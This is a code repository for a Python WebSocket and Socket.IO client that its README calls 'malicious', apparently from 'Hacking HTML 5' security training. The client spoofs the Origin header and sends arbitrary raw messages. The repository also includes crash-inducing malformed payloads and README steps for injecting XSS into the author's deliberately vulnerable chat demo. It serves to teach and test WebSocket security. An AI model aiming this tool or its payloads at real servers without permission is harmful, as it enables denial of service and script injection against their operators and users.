├── .gitignore ├── handshake.bin ├── payloads.txt ├── README ├── colorize.py ├── socket_io_client.py └── WebSocketsClient.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc -------------------------------------------------------------------------------- /handshake.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/koto/socket_io_client/HEAD/handshake.bin -------------------------------------------------------------------------------- /payloads.txt: -------------------------------------------------------------------------------- 1 | ~r[{"length":1}] 2 | ~r{"length":1} 3 | ~j{"messages":[{"length":1}]} 4 | ~j{"length":1} 5 | hello 6 | hello 7 | hello 8 | ~j{ 9 | ~j 10 | ~r~m~EVJLFDJP~ -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | A simple malicious Socket.IO client as a Python script. 2 | 3 | http://blog.kotowicz.net/2011/03/html5-websockets-security-new-tool-for.html 4 | 5 | It can: 6 | - Handshake with a Socket.io server 7 | - Ignore all Origin restrictions 8 | - Transparently handle all socket.io heartbeats 9 | - Send arbitrary messages - from a prompt or an input file. Messages could be raw or 10 | properly formatted according to socket.io protocol 11 | - Receive/log all server messages 12 | 13 | I also included a few exemplary payloads which can crash servers I encountered. 14 | You can test the client against my vulnerable chat application (try XSS). 15 | 16 | 1. Connect (with Chrome or other browser supporting websockets) to 17 | http://vuln.nodester.com/chat.html 18 | 2. Run the command line client 19 | ./socket_io_client.py vuln.nodester.com 80 20 | 3. Start conversation 21 | 4. Try to inject XSS from the command line client 22 | 23 | You could also use my prepared payloads like so: 24 | 25 | ./socket_io_client.py vuln.nodester.com 80 < payloads.txt 26 | 27 | Or save all server reponses like so: 28 | ./socket_io_client.py vuln.nodester.com 80 > output.txt 29 | 30 | -------------------------------------------------------------------------------- /colorize.py: -------------------------------------------------------------------------------- 1 | color_names = ('black', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white') 2 | foreground = dict([(color_names[x], '3%s' % x) for x in range(8)]) 3 | background = dict([(color_names[x], '4%s' % x) for x in range(8)]) 4 | RESET = '0' 5 | 6 | def colorize(text='', opts=(), **kwargs): 7 | """ 8 | Returns your text, enclosed in ANSI graphics codes. 9 | 10 | Depends on the keyword arguments 'fg' and 'bg', and the contents of 11 | the opts tuple/list. 12 | 13 | Returns the RESET code if no parameters are given. 14 | 15 | Valid colors: 16 | 'black', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white' 17 | 18 | Valid options: 19 | 'bold' 20 | 'underscore' 21 | 'blink' 22 | 'reverse' 23 | 'conceal' 24 | 'noreset' - string will not be auto-terminated with the RESET code 25 | 26 | Examples: 27 | colorize('hello', fg='red', bg='blue', opts=('blink',)) 28 | colorize() 29 | colorize('goodbye', opts=('underscore',)) 30 | print colorize('first line', fg='red', opts=('noreset',)) 31 | print 'this should be red too' 32 | print colorize('and so should this') 33 | print 'this should not be red' 34 | """ 35 | code_list = [] 36 | if text == '' and len(opts) == 1 and opts[0] == 'reset': 37 | return '\x1b[%sm' % RESET 38 | for k, v in kwargs.iteritems(): 39 | if k == 'fg': 40 | code_list.append(foreground[v]) 41 | elif k == 'bg': 42 | code_list.append(background[v]) 43 | for o in opts: 44 | if o in opt_dict: 45 | code_list.append(opt_dict[o]) 46 | if 'noreset' not in opts: 47 | text = text + '\x1b[%sm' % RESET 48 | return ('\x1b[%sm' % ';'.join(code_list)) + text 49 | 50 | -------------------------------------------------------------------------------- /socket_io_client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # This file is part of 4 | # "Hacking HTML 5" training materials 5 | # @author Krzysztof Kotowicz 6 | # @copyright Krzysztof Kotowicz 7 | # @see http://blog.kotowicz.net 8 | 9 | import sys 10 | import os 11 | import select 12 | import WebSocketsClient 13 | from colorize import colorize, color_names 14 | 15 | if __name__ == '__main__': # script part 16 | if len(sys.argv) == 1 : 17 | print "socket_io_client by Krzysztof Kotowicz, http://blog.kotowicz.net" 18 | print 19 | print "Usage: " 20 | print "socket_io_client host port [origin_to_simulate] [socket_io_path]" 21 | print 22 | print "Example: socket_io_client websocket.example.org 8888 client.example.org /socket.io/websocket" 23 | sys.exit(1) 24 | 25 | HOST = len(sys.argv) <= 1 and 'websocket.security.localhost' or sys.argv[1] # The remote host 26 | PORT = len(sys.argv) <= 2 and 8124 or int(sys.argv[2]) # The remote port 27 | ORIGIN = len(sys.argv) <= 3 and 'victim.security.localhost' or sys.argv[3] # origin to simulate 28 | PATH = len(sys.argv) <= 4 and '/socket.io/websocket' or sys.argv[4] 29 | 30 | interactive = os.isatty(0) 31 | 32 | sys.stderr.write("Connecting to " + HOST + ":" + str(PORT) + "\n") 33 | client = WebSocketsClient.SocketIoClient(host=HOST,port=PORT,origin=ORIGIN,path=PATH) 34 | 35 | if (interactive): 36 | prompt = colorize("\nWhat to send (nothing: quit, ~jXXX: json object, ~rXXX - raw socket data XXX):", fg='green') 37 | else: 38 | prompt = "" 39 | 40 | quit = False 41 | p = 0 42 | 43 | import random 44 | while not quit: 45 | try: 46 | sys.stderr.flush() 47 | 48 | # Wait for input from stdin & socket 49 | inputready, outputready,exceptrdy = select.select([0],[],[], 0) 50 | if client.can_recv(): 51 | inputready.append(client.socket) 52 | for i in inputready: 53 | if i == client.socket: 54 | data = client.recv() 55 | if data == False: 56 | sys.stderr.write(colorize('Socket empty, quitting',fg='red')) 57 | quit = True 58 | break 59 | else: 60 | if len(data) == 0: 61 | break 62 | sys.stdout.write(client.ws_encode(data)) 63 | if interactive: 64 | sys.stderr.write(prompt) 65 | elif i == 0: 66 | data = sys.stdin.readline().strip() 67 | if not data: 68 | sys.stderr.write(colorize('Shutting down.', fg='red')) 69 | quit = True 70 | break 71 | else: 72 | sent = client.send(data) 73 | if interactive: 74 | data = colorize("Sent: " + sent, fg='yellow') 75 | sys.stderr.write(data) 76 | sys.stderr.write(prompt) 77 | else: 78 | sys.stderr.write("Sent payload #%i\n" % p) 79 | p = p + 1 80 | if len(inputready) > 0: 81 | sys.stdout.flush() 82 | sys.stderr.flush() 83 | 84 | except KeyboardInterrupt: 85 | sys.stderr.write(colorize('Interrupted.',fg='red')) 86 | quit = True 87 | pass 88 | 89 | client.close() 90 | sys.stderr.write("\n") 91 | -------------------------------------------------------------------------------- /WebSocketsClient.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # This file is part of 4 | # "Hacking HTML 5" training materials 5 | # @author Krzysztof Kotowicz 6 | # @copyright Krzysztof Kotowicz 7 | # @see http://blog.kotowicz.net 8 | 9 | import socket 10 | import select 11 | import sys 12 | 13 | class WebSocketsClient: 14 | """WebSockets client""" 15 | 16 | PREFIX = "\x00" 17 | SUFFIX = "\xFF" 18 | 19 | def __init__(self, handshake_file='handshake.bin', **kwargs): 20 | """Connects to socket and performs the handshake""" 21 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | self.buf = '' 23 | self.handshake(handshake_file, kwargs) 24 | 25 | def __del__(self): 26 | self.close() 27 | 28 | def close(self): 29 | self.socket.close(); 30 | 31 | def handshake(self, handshake_file, kw): 32 | """Sends the handshake from the file""" 33 | self.socket.connect((kw['host'], kw['port'])) 34 | handshake = open(handshake_file,'rb').read() 35 | handshake = handshake.replace('%HOST%',kw['host'])\ 36 | .replace('%PORT%',str(kw['port']))\ 37 | .replace('%ORIGIN%',kw['origin'])\ 38 | .replace('%PATH%',kw['path']) 39 | 40 | self.socket.sendall(handshake) 41 | 42 | def send_raw(self, s): 43 | """Send the message through websocket""" 44 | self.socket.sendall(self.ws_encode(s)) 45 | return s 46 | 47 | def ws_encode(self, s): 48 | """Encode the message in WebSockets frame""" 49 | return self.PREFIX + s + self.SUFFIX 50 | 51 | def heartbeat(self,bytes=4096): 52 | """Sends last heartbeat in buffer back to the server""" 53 | self.recv_raw(bytes) 54 | msgs = self.buf.split(self.PREFIX) 55 | msgs.reverse() 56 | for msg in msgs: 57 | if self.is_heartbeat(msg): 58 | self.send_raw(msg[:-1]) # strip trailing \xFF 59 | self.buf = self.buf.replace(msg + self.SUFFIX, '') #remove from buffer 60 | break; 61 | 62 | def recv_raw(self, bytes = 4096): 63 | """Read bytes from socket into the buffer""" 64 | read = self.socket.recv(bytes) 65 | self.buf += read 66 | 67 | def recv(self, bytes = 4096): 68 | """Return new message from the server (also resends but ignores heartbeats)""" 69 | self.recv_raw(bytes) 70 | start = self.buf.find(self.PREFIX) 71 | if start == -1: 72 | return '' 73 | end = self.buf.find(self.SUFFIX, start) 74 | if end == -1: 75 | return '' 76 | 77 | # we have a full message in buffer now 78 | msg = self.buf[start+1:end] 79 | if start > 0 : 80 | sys.stdout.write(self.buf[:start]) # something before the message, probably part of handshake 81 | if len(self.buf) == end: 82 | self.buf = '' 83 | else: 84 | self.buf = self.buf[end+1:] 85 | 86 | if self.is_heartbeat(msg): # heartbeat, resend & ignore 87 | self.send_raw(msg) 88 | msg = '' 89 | 90 | return msg 91 | 92 | def has_msg_in_buffer(self): 93 | """Check if there is a complete message in the buffer""" 94 | begin = self.buf.find(self.PREFIX) 95 | if begin == -1: 96 | return False 97 | end = self.buf.find(self.SUFFIX, begin) 98 | if end == -1: 99 | return False 100 | return True 101 | 102 | def is_heartbeat(self, s): 103 | return False #to be defined in child class 104 | 105 | def json_encode(self,s): 106 | return s #to be defined in child class 107 | 108 | def encode(self, s): 109 | return s #to be defined in child class 110 | 111 | def send(self, send): 112 | """Encode and send the message trough socket""" 113 | if send.startswith('~j'): 114 | send = send[2:] # strip ~j 115 | send = self.encode(self.json_encode(send)) 116 | elif send.startswith('~r'): # raw message, not neccessarily socket.io compatible 117 | send = send[2:] 118 | else: 119 | send = self.encode(send) 120 | return self.send_raw(send) 121 | 122 | def can_recv(self): 123 | """Check if we're ready for recv()""" 124 | if self.has_msg_in_buffer(): 125 | return True 126 | inputready, outputready,exceptrdy = select.select([self.socket],[],[], 0) 127 | return len(inputready) > 0 128 | 129 | class SocketIoClient(WebSocketsClient): 130 | """Socket.Io compatible client""" 131 | 132 | def is_heartbeat(self, s): 133 | return s.startswith('~m~4~m~~h~') 134 | 135 | def json_encode(self,s): 136 | return '~j~' + s 137 | 138 | def encode(self, s): 139 | return '~m~%d~m~%s' % (len(s), s) 140 | 141 | --------------------------------------------------------------------------------